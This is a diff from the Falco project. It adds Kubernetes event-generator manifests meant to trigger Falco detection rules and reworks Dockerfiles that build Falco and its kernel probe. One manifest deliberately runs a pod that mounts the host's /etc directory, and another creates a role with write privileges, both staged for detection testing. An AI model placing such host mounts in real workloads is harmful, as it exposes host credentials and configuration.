+    app.kubernetes.io/part-of: falco-event-generator
+    falco.rules: ClusterRole-With-Write-Privileges-Created
+    message: Creating-role-with-write-privileges
+rules:
+- apiGroups:
+    - ""
+  resources:
+    - "pods"
+  verbs:
+    - create

docker/event-generator/yaml/sensitive-mount-deployment.yaml

@@ -0,0 +1,32 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: sensitive-mount-deployment
+  namespace: falco-event-generator
+  labels:
+    app.kubernetes.io/name: sensitive-mount-deployment
+    app.kubernetes.io/part-of: falco-event-generator
+    falco.rules: Create-Sensitive-Mount-Pod
+    message: Creating-deployment-with-pod-mounting-sensitive-path-from-host
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app.kubernetes.io/name: sensitive-mount-busybox
+  template:
+    metadata:
+      labels:
+        app.kubernetes.io/name: sensitive-mount-busybox
+        app.kubernetes.io/part-of: falco-event-generator
+    spec:
+      containers:
+        - name: busybox
+          image: busybox
+          command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
+          volumeMounts:
+            - mountPath: /host/etc
+              name: etc
+      volumes:
+        - name: etc
+          hostPath:
+            path: /etc

docker/event-generator/yaml/vanilla-configmap.yaml

@@ -0,0 +1,15 @@
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: vanilla-configmap
+  namespace: falco-event-generator
+  labels:
+    app.kubernetes.io/name: vanilla-configmap
+    app.kubernetes.io/part-of: falco-event-generator
+    falco.rules: K8s-ConfigMap-Created
+    message: Creating-configmap
+data:
+  ui.properties: |
+    color.good=purple
+    color.bad=yellow
+    allow.textmode=true

docker/event-generator/yaml/vanilla-deployment.yaml

@@ -0,0 +1,25 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: vanilla-deployment
+  namespace: falco-event-generator
+  labels:
+    app.kubernetes.io/name: vanilla-deployment
+    app.kubernetes.io/part-of: falco-event-generator
+    falco.rules: K8s-Deployment-Created
+    message: Creating-deployment
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app.kubernetes.io/name: vanilla-busybox
+  template:
+    metadata:
+      labels:
+        app.kubernetes.io/name: vanilla-busybox
+        app.kubernetes.io/part-of: falco-event-generator
+    spec:
+      containers:
+        - name: busybox
+          image: busybox
+          command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]

docker/event-generator/yaml/vanilla-role-rolebinding-serviceaccount.yaml

@@ -0,0 +1,46 @@
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: vanilla-role
+  namespace: falco-event-generator
+  labels:
+    app.kubernetes.io/name: vanilla-role
+    app.kubernetes.io/part-of: falco-event-generator
+    falco.rules: K8s-Role.Clusterrole-Created
+    message: Creating-role
+rules:
+- apiGroups:
+    - ""
+  resources:
+    - "pods"
+  verbs:
+    - list
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: vanilla-role-binding
+  namespace: falco-event-generator
+  labels:
+    app.kubernetes.io/name: vanilla-role-binding
+    app.kubernetes.io/part-of: falco-event-generator
+    falco.rules: K8s-Role.Clusterrolebinding-Created
+    message: Creating-rolebinding
+roleRef:
+  kind: Role
+  name: vanilla-role
+  apiGroup: rbac.authorization.k8s.io
+subjects:
+  - kind: ServiceAccount
+    name: vanilla-service-account
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: vanilla-serviceaccount
+  namespace: falco-event-generator
+  labels:
+    app.kubernetes.io/name: vanilla-serviceaccount
+    app.kubernetes.io/part-of: falco-event-generator
+    falco.rules: K8s-Serviceaccount-Created
+    message: Creating-serviceaccount

docker/event-generator/yaml/vanilla-service.yaml

@@ -0,0 +1,16 @@
+apiVersion: v1
+kind: Service
+metadata:
+  name: vanilla-service
+  namespace: falco-event-generator
+  labels:
+    app.kubernetes.io/name: vanilla-service
+    app.kubernetes.io/part-of: falco-event-generator
+    falco.rules: K8s-Service-Created
+    message: Creating-service
+spec:
+  type: ClusterIP
+  ports:
+    - port: 80
+  selector:
+    app: busybox

docker/falco/Dockerfile

@@ -1,129 +0,0 @@
-FROM debian:buster
-
-LABEL maintainer="cncf-falco-dev@lists.cncf.io"
-
-LABEL usage="docker run -i -t --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc --name NAME IMAGE"
-
-ARG TARGETARCH
-
-ARG FALCO_VERSION=latest
-ARG VERSION_BUCKET=deb
-ENV VERSION_BUCKET=${VERSION_BUCKET}
-
-ENV FALCO_VERSION=${FALCO_VERSION}
-ENV HOST_ROOT /host
-ENV HOME /root
-
-RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
-
-RUN apt-get update \
-	&& apt-get install -y --no-install-recommends \
-	bash-completion \
-	bc \
-	bison \
-	clang-7 \
-	ca-certificates \
-	curl \
-	dkms \
-	flex \
-	gnupg2 \
-	gcc \
-	jq \
-	libc6-dev \
-	libelf-dev \
-	libssl-dev \
-	llvm-7 \
-	netcat \
-	patchelf \
-	xz-utils \
-	&& rm -rf /var/lib/apt/lists/*
-
-RUN if [ "$TARGETARCH" = "amd64" ]; \
-    then apt-get install -y --no-install-recommends libmpx2; \
-    fi
-
-# gcc 6 is no longer included in debian stable, but we need it to
-# build kernel modules on the default debian-based ami used by
-# kops. So grab copies we've saved from debian snapshots with the
-# prefix https://snapshot.debian.org/archive/debian/20170517T033514Z
-# or so.
-
-RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libcilkrts5_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
-    curl -L -o cpp-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-6_6.3.0-18_${TARGETARCH}.deb \
-	&& curl -L -o gcc-6-base_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6-base_6.3.0-18_${TARGETARCH}.deb \
-	&& curl -L -o gcc-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6_6.3.0-18_${TARGETARCH}.deb \
-	&& curl -L -o libasan3_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libasan3_6.3.0-18_${TARGETARCH}.deb \
-	&& curl -L -o libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb \
-	&& curl -L -o libubsan0_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libubsan0_6.3.0-18_${TARGETARCH}.deb \
-	&& curl -L -o libmpfr4_3.1.3-2_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpfr4_3.1.3-2_${TARGETARCH}.deb \
-	&& curl -L -o libisl15_0.18-1_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-1_${TARGETARCH}.deb \
-	&& dpkg -i cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb; \
-    if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
-    dpkg -i libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb \
-	&& rm -f cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb libcilkrts5_6.3.0-18_${TARGETARCH}.deb libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb
-
-# gcc 5 is no longer included in debian stable, but we need it to
-# build centos kernels, which are 3.x based and explicitly want a gcc
-# version 3, 4, or 5 compiler. So grab copies we've saved from debian
-# snapshots with the prefix https://snapshot.debian.org/archive/debian/20190122T000000Z.
-
-RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libmpx0_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
-    curl -L -o cpp-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-5_5.5.0-12_${TARGETARCH}.deb \
-	&& curl -L -o gcc-5-base_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5-base_5.5.0-12_${TARGETARCH}.deb \
-	&& curl -L -o gcc-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5_5.5.0-12_${TARGETARCH}.deb \
-	&& curl -L -o libasan2_5.5.0-12_${TARGETARCH}.deb	https://download.falco.org/dependencies/libasan2_5.5.0-12_${TARGETARCH}.deb \
-	&& curl -L -o libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb \
-	&& curl -L -o libisl15_0.18-4_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-4_${TARGETARCH}.deb \
-	&& dpkg -i cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb; \
-    if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
-    dpkg -i libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb \
-	&& rm -f cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb libmpx0_5.5.0-12_${TARGETARCH}.deb
-
-# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
-# default to gcc-5.
-RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
-
-RUN rm -rf /usr/bin/clang \
-	&& rm -rf /usr/bin/llc \
-	&& ln -s /usr/bin/clang-7 /usr/bin/clang \
-	&& ln -s /usr/bin/llc-7 /usr/bin/llc
-
-RUN curl -s https://falco.org/repo/falcosecurity-packages.asc | apt-key add - \
-	&& echo "deb https://download.falco.org/packages/${VERSION_BUCKET} stable main" | tee -a /etc/apt/sources.list.d/falcosecurity.list \
-	&& apt-get update -y \
-	&& if [ "$FALCO_VERSION" = "latest" ]; then apt-get install -y --no-install-recommends falco; else apt-get install -y --no-install-recommends falco=${FALCO_VERSION}; fi \
-	&& apt-get clean \
-	&& rm -rf /var/lib/apt/lists/*
-
-# Change the falco config within the container to enable ISO 8601
-# output.
-RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
-	&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
-
-# Some base images have an empty /lib/modules by default
-# If it's not empty, docker build will fail instead of
-# silently overwriting the existing directory
-RUN rm -df /lib/modules \
-	&& ln -s $HOST_ROOT/lib/modules /lib/modules
-
-# debian:stable head contains binutils 2.31, which generates
-# binaries that are incompatible with kernels < 4.16. So manually
-# forcibly install binutils 2.30-22 instead.
-
-RUN if [ "$TARGETARCH" = "amd64" ] ; then \
-    curl -L -o binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
-    else  \
-    curl -L -o  binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
-    fi
-
-RUN curl -L -o binutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils_2.30-22_${TARGETARCH}.deb \
-	&& curl -L -o libbinutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/libbinutils_2.30-22_${TARGETARCH}.deb \
-	&& curl -L -o binutils-common_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-common_2.30-22_${TARGETARCH}.deb \
-	&& dpkg -i *binutils*.deb \
-	&& rm -f *binutils*.deb
-
-COPY ./docker-entrypoint.sh /
-
-ENTRYPOINT ["/docker-entrypoint.sh"]
-
-CMD ["/usr/bin/falco"]

docker/kernel/linuxkit/Dockerfile

@@ -0,0 +1,38 @@
+ARG ALPINE_VERSION=3.10
+ARG KERNEL_VERSION=4.9.184
+ARG FALCO_VERSION=0.19.0
+
+FROM linuxkit/kernel:${KERNEL_VERSION} AS ksrc
+FROM falcosecurity/falco:${FALCO_VERSION}-minimal as falco
+FROM alpine:${ALPINE_VERSION} AS probe-build
+LABEL maintainer="opensource@sysdig.com"
+ARG KERNEL_VERSION=4.9.184
+ARG FALCO_VERSION=0.19.0
+ENV FALCO_VERSION=${FALCO_VERSION}
+ENV KERNEL_VERSION=${KERNEL_VERSION}
+
+COPY --from=ksrc /kernel-dev.tar /
+COPY --from=falco /usr/src/falco-${FALCO_VERSION} /usr/src/falco-${FALCO_VERSION}
+
+RUN apk add --no-cache --update \
+  build-base gcc abuild binutils \
+  bc \
+  autoconf && \
+  export KERNELVER=`uname -r  | cut -d '-' -f 1`  && \
+  export KERNELDIR=/usr/src/linux-headers-${KERNEL_VERSION}-linuxkit/ && \
+  tar xf /kernel-dev.tar && \
+  cd $KERNELDIR && \
+  zcat /proc/1/root/proc/config.gz > .config && \
+  make olddefconfig && \
+  cd /usr/src/falco-${FALCO_VERSION} && \
+  make && \
+  apk del \
+  build-base gcc abuild binutils \
+  bc \
+  autoconf
+
+FROM alpine:${ALPINE_VERSION}
+ARG FALCO_VERSION=0.19.0
+ENV FALCO_VERSION=${FALCO_VERSION}
+COPY --from=probe-build /usr/src/falco-${FALCO_VERSION}/falco-probe.ko /
+CMD ["insmod","/falco-probe.ko"]

docker/kernel/probeloader/Dockerfile

@@ -0,0 +1,18 @@
+FROM golang:1.13-alpine AS build
+ARG FALCOCTL_REF=2be3df92edbac668284fe5c165ccb5bd6bf4e869
+
+RUN apk --no-cache add build-base git gcc ca-certificates
+
+RUN git clone https://github.com/falcosecurity/falcoctl.git /falcoctl
+
+WORKDIR /falcoctl
+
+RUN git checkout ${FALCOCTL_REF}
+RUN go mod vendor
+RUN CGO_ENABLED=0 GOOS=linux go build -a -o falcoctl -ldflags '-extldflags "-static"' .
+
+FROM scratch
+LABEL maintainer="opensource@sysdig.com"
+COPY --from=build /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/ca-certificates.crt
+COPY --from=build /falcoctl/falcoctl /falcoctl
+CMD ["/falcoctl", "install", "probe"]

docker/local/Dockerfile

@@ -1,9 +1,7 @@
-FROM debian:buster
+FROM debian:unstable
 
 LABEL usage="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
-LABEL maintainer="cncf-falco-dev@lists.cncf.io"
-
-ARG TARGETARCH
+LABEL maintainer="opensource@sysdig.com"
 
 ARG FALCO_VERSION=
 RUN test -n FALCO_VERSION
@@ -15,112 +13,102 @@ ENV HOME /root
 
 RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
 
+ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
+
 RUN apt-get update \
-	&& apt-get install -y --no-install-recommends \
-	bash-completion \
-	bc \
-	clang-7 \
-	ca-certificates \
-	curl \
-	dkms \
-	gnupg2 \
-	gcc \
-	jq \
-	libc6-dev \
-	libelf-dev \
-	libyaml-0-2 \
-	llvm-7 \
-	netcat \
-	xz-utils \
-	libmpc3 \
-	binutils \
-	libgomp1 \
-	libitm1 \
-	libatomic1 \
-	liblsan0 \
-	libtsan0 \
-	libcc1-0 \
-	patchelf \
-	&& rm -rf /var/lib/apt/lists/*
+    && apt-get install -y --no-install-recommends \
+    bash-completion \
+    bc \
+    clang-7 \
+    ca-certificates \
+    curl \
+    dkms \
+    gnupg2 \
+    gcc \
+    jq \
+    libc6-dev \
+    libelf-dev \
+    libyaml-0-2 \
+    llvm-7 \
+    netcat \
+    xz-utils \
+    libmpc3 \
+    binutils \
+    libgomp1 \
+    libitm1 \
+    libatomic1 \
+    liblsan0 \
+    libtsan0 \
+    libmpx2 \
+    libquadmath0 \
+    libcc1-0 \
+    && rm -rf /var/lib/apt/lists/*
 
-RUN if [ "$TARGETARCH" = "amd64" ]; \
-    then apt-get install -y --no-install-recommends libmpx2 libquadmath0; \
-    fi
-
-# gcc 6 is no longer included in debian stable, but we need it to
+# gcc 6 is no longer included in debian unstable, but we need it to
 # build kernel modules on the default debian-based ami used by
 # kops. So grab copies we've saved from debian snapshots with the
 # prefix https://snapshot.debian.org/archive/debian/20170517T033514Z
 # or so.
 
-RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libcilkrts5_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
-    curl -L -o cpp-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-6_6.3.0-18_${TARGETARCH}.deb \
-	&& curl -L -o gcc-6-base_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6-base_6.3.0-18_${TARGETARCH}.deb \
-	&& curl -L -o gcc-6_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-6_6.3.0-18_${TARGETARCH}.deb \
-	&& curl -L -o libasan3_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libasan3_6.3.0-18_${TARGETARCH}.deb \
-	&& curl -L -o libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb \
-	&& curl -L -o libubsan0_6.3.0-18_${TARGETARCH}.deb https://download.falco.org/dependencies/libubsan0_6.3.0-18_${TARGETARCH}.deb \
-	&& curl -L -o libmpfr4_3.1.3-2_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpfr4_3.1.3-2_${TARGETARCH}.deb \
-	&& curl -L -o libisl15_0.18-1_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-1_${TARGETARCH}.deb \
-	&& dpkg -i cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb; \
-    if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libcilkrts5_6.3.0-18_${TARGETARCH}.deb; fi; \
-    dpkg -i libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb \
-	&& rm -f cpp-6_6.3.0-18_${TARGETARCH}.deb gcc-6-base_6.3.0-18_${TARGETARCH}.deb gcc-6_6.3.0-18_${TARGETARCH}.deb libasan3_6.3.0-18_${TARGETARCH}.deb libcilkrts5_6.3.0-18_${TARGETARCH}.deb libgcc-6-dev_6.3.0-18_${TARGETARCH}.deb libubsan0_6.3.0-18_${TARGETARCH}.deb libmpfr4_3.1.3-2_${TARGETARCH}.deb libisl15_0.18-1_${TARGETARCH}.deb
+RUN curl -o cpp-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/cpp-6_6.3.0-18_amd64.deb \
+    && curl -o gcc-6-base_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6-base_6.3.0-18_amd64.deb \
+    && curl -o gcc-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6_6.3.0-18_amd64.deb \
+    && curl -o libasan3_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libasan3_6.3.0-18_amd64.deb \
+    && curl -o libcilkrts5_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libcilkrts5_6.3.0-18_amd64.deb \
+    && curl -o libgcc-6-dev_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libgcc-6-dev_6.3.0-18_amd64.deb \
+    && curl -o libubsan0_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libubsan0_6.3.0-18_amd64.deb \
+    && curl -o libmpfr4_3.1.3-2_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libmpfr4_3.1.3-2_amd64.deb \
+    && curl -o libisl15_0.18-1_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libisl15_0.18-1_amd64.deb \
+    && dpkg -i cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb \
+    && rm -f cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb
 
-# gcc 5 is no longer included in debian stable, but we need it to
+# gcc 5 is no longer included in debian unstable, but we need it to
 # build centos kernels, which are 3.x based and explicitly want a gcc
 # version 3, 4, or 5 compiler. So grab copies we've saved from debian
 # snapshots with the prefix https://snapshot.debian.org/archive/debian/20190122T000000Z.
 
-RUN if [ "$TARGETARCH" = "amd64" ]; then curl -L -o libmpx0_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
-    curl -L -o cpp-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/cpp-5_5.5.0-12_${TARGETARCH}.deb \
-	&& curl -L -o gcc-5-base_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5-base_5.5.0-12_${TARGETARCH}.deb \
-	&& curl -L -o gcc-5_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/gcc-5_5.5.0-12_${TARGETARCH}.deb \
-	&& curl -L -o libasan2_5.5.0-12_${TARGETARCH}.deb	https://download.falco.org/dependencies/libasan2_5.5.0-12_${TARGETARCH}.deb \
-	&& curl -L -o libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb https://download.falco.org/dependencies/libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb \
-	&& curl -L -o libisl15_0.18-4_${TARGETARCH}.deb https://download.falco.org/dependencies/libisl15_0.18-4_${TARGETARCH}.deb \
-	&& dpkg -i cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb; \
-    if [ "$TARGETARCH" = "amd64" ]; then dpkg -i libmpx0_5.5.0-12_${TARGETARCH}.deb; fi; \
-    dpkg -i libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb \
-	&& rm -f cpp-5_5.5.0-12_${TARGETARCH}.deb gcc-5-base_5.5.0-12_${TARGETARCH}.deb gcc-5_5.5.0-12_${TARGETARCH}.deb libasan2_5.5.0-12_${TARGETARCH}.deb libgcc-5-dev_5.5.0-12_${TARGETARCH}.deb libisl15_0.18-4_${TARGETARCH}.deb libmpx0_5.5.0-12_${TARGETARCH}.deb
+RUN curl -o cpp-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/cpp-5_5.5.0-12_amd64.deb \
+    && curl -o gcc-5-base_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5-base_5.5.0-12_amd64.deb \
+    && curl -o gcc-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5_5.5.0-12_amd64.deb \
+    && curl -o libasan2_5.5.0-12_amd64.deb	https://s3.amazonaws.com/download.draios.com/dependencies/libasan2_5.5.0-12_amd64.deb \
+    && curl -o libgcc-5-dev_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libgcc-5-dev_5.5.0-12_amd64.deb \
+    && curl -o libisl15_0.18-4_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libisl15_0.18-4_amd64.deb \
+    && curl -o libmpx0_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libmpx0_5.5.0-12_amd64.deb \
+    && dpkg -i cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb \
+    && rm -f cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb
 
 # Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
 # default to gcc-5.
 RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
 
 RUN rm -rf /usr/bin/clang \
-	&& rm -rf /usr/bin/llc \
-	&& ln -s /usr/bin/clang-7 /usr/bin/clang \
-	&& ln -s /usr/bin/llc-7 /usr/bin/llc
+    && rm -rf /usr/bin/llc \
+    && ln -s /usr/bin/clang-7 /usr/bin/clang \
+    && ln -s /usr/bin/llc-7 /usr/bin/llc
 
 # Some base images have an empty /lib/modules by default
 # If it's not empty, docker build will fail instead of
 # silently overwriting the existing directory
 RUN rm -df /lib/modules \
-	&& ln -s $HOST_ROOT/lib/modules /lib/modules
+    && ln -s $HOST_ROOT/lib/modules /lib/modules
 
-ADD falco-${FALCO_VERSION}-*.deb /
-RUN dpkg -i /falco-${FALCO_VERSION}-$(uname -m).deb
+ADD falco-${FALCO_VERSION}-x86_64.deb /
+RUN dpkg -i /falco-${FALCO_VERSION}-x86_64.deb
 
 # Change the falco config within the container to enable ISO 8601
 # output.
 RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
-	&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
+    && mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
 
-# debian:stable head contains binutils 2.31, which generates
+# debian:unstable head contains binutils 2.31, which generates
 # binaries that are incompatible with kernels < 4.16. So manually
 # forcibly install binutils 2.30-22 instead.
-RUN if [ "$TARGETARCH" = "amd64" ] ; then \
-    curl -L -o binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-x86-64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
-    else  \
-    curl -L -o  binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-aarch64-linux-gnu_2.30-22_${TARGETARCH}.deb; \
-    fi
-
-RUN curl -L -o binutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils_2.30-22_${TARGETARCH}.deb \
-	&& curl -L -o libbinutils_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/libbinutils_2.30-22_${TARGETARCH}.deb \
-	&& curl -L -o binutils-common_2.30-22_${TARGETARCH}.deb https://download.falco.org/dependencies/binutils-common_2.30-22_${TARGETARCH}.deb \
-	&& dpkg -i *binutils*.deb \
-	&& rm -f *binutils*.deb
+RUN curl -s -o binutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils_2.30-22_amd64.deb \
+    && curl -s -o libbinutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libbinutils_2.30-22_amd64.deb \
+    && curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
+    && curl -s -o binutils-common_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-common_2.30-22_amd64.deb \
+    && dpkg -i *binutils*.deb \
+    && rm -f *binutils*.deb
 
 # The local container also copies some test trace files and
 # corresponding rules that are used when running regression tests.

docker/local/docker-entrypoint.sh

@@ -1,6 +1,6 @@
 #!/usr/bin/env bash
 #
-# Copyright (C) 2020 The Falco Authors.
+# Copyright (C) 2019 The Falco Authors.
 #
 #
